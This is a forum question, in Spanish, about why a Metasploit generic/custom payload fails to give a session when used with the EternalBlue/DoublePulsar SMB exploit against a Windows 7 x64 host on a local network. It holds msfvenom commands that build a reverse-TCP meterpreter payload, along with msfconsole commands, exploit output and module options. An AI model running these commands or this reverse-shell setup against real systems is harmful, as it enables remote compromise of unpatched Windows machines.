Carga genérica / personalizada de Metasploit

He generado una carga útil personalizada utilizando msfvenom como tal ( Primero quiero probar con la carga útil personalizada más simple: sin codificador ni nada ):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=4444 -f exe -o payload.exe

y también he hecho una versión de rubí (pensé que el tamaño podría tener algo que ver con eso):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=4444 -f ruby -o payload.rb

Mi objetivo es Windows 7 Ultimate x64 .

Estoy utilizando el windows/smb/eternalblue_doublepulsar exploit y hasta ahora nunca me ha fallado.

Estas son algunas de las preguntas lado que tengo:

• ¿Qué es PAYLOADSTR y cómo lo uso?
• ¿Es necesario /root/ antes del nombre de archivo? (Obtengo el mismo resultado con él y sin él)

Aquí está mi intento y la salida:

msf exploit(windows/smb/eternalblue_doublepulsar) > set payload generic/custom 
payload => generic/custom
msf exploit(windows/smb/eternalblue_doublepulsar) > set payloadfile /root/payload.exe
payloadfile => /root/payload.exe
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit 

[-] 192.168.1.102:445 - Exploit failed: No encoders encoded the buffer successfully.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/eternalblue_doublepulsar) > set payloadstr C:\
payloadstr => C:\
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit 

[*] 192.168.1.102:445 - Generating Eternalblue XML data
[*] 192.168.1.102:445 - Generating Doublepulsar XML data
[*] 192.168.1.102:445 - Generating payload DLL for Doublepulsar
[*] 192.168.1.102:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.1.102:445 - Launching Eternalblue...
000f:err:service:process_send_command receiving command result timed out
[+] 192.168.1.102:445 - Backdoor is already installed
[*] 192.168.1.102:445 - Launching Doublepulsar...
000f:err:service:process_send_command receiving command result timed out
Error sending wrong architecture DLL to target
[+] 192.168.1.102:445 - Remote code executed... 3... 2... 1...
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/eternalblue_doublepulsar) > set payloadstr C:\payload.exe
payloadstr => C:\payload.exe
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit 

[*] 192.168.1.102:445 - Generating Eternalblue XML data
[*] 192.168.1.102:445 - Generating Doublepulsar XML data
[*] 192.168.1.102:445 - Generating payload DLL for Doublepulsar
[*] 192.168.1.102:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.1.102:445 - Launching Eternalblue...
000f:err:service:process_send_command receiving command result timed out
[+] 192.168.1.102:445 - Backdoor is already installed
[*] 192.168.1.102:445 - Launching Doublepulsar...
000f:err:service:process_send_command receiving command result timed out
Error sending wrong architecture DLL to target
[+] 192.168.1.102:445 - Remote code executed... 3... 2... 1...
[*] Exploit completed, but no session was created.

msf exploit(windows/smb/eternalblue_doublepulsar) > show options 

Module options (exploit/windows/smb/eternalblue_doublepulsar):

   Name                Current Setting                                  Required  Description
   ----                ---------------                                  --------  -----------
   DOUBLEPULSARPATH    /root/Eternalblue-Doublepulsar-Metasploit/deps/  yes       Path directory of Doublepulsar
   ETERNALBLUEPATH     /root/Eternalblue-Doublepulsar-Metasploit/deps/  yes       Path directory of Eternalblue
   PROCESSINJECT       explorer.exe                                     yes       Name of process to inject into (Change to lsass.exe for x64)
   RHOST               192.168.1.102                                    yes       The target address
   RPORT               445                                              yes       The SMB service port (TCP)
   TARGETARCHITECTURE  x64                                              yes       Target Architecture (Accepted: x86, x64)
   WINEPATH            /root/.wine/drive_c/                             yes       WINE drive_c path


Payload options (generic/custom):

   Name         Current Setting    Required  Description
   ----         ---------------    --------  -----------
   PAYLOADFILE  /root/payload.exe  no        The file to read the payload from
   PAYLOADSTR   C:\payload.exe     no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   8   Windows 7 (all services pack) (x86) (x64)

He buscado en todas partes, pero no pude encontrar una solución, así que, como última esperanza, estoy publicando una pregunta aquí.
Cualquier ayuda es apreciada.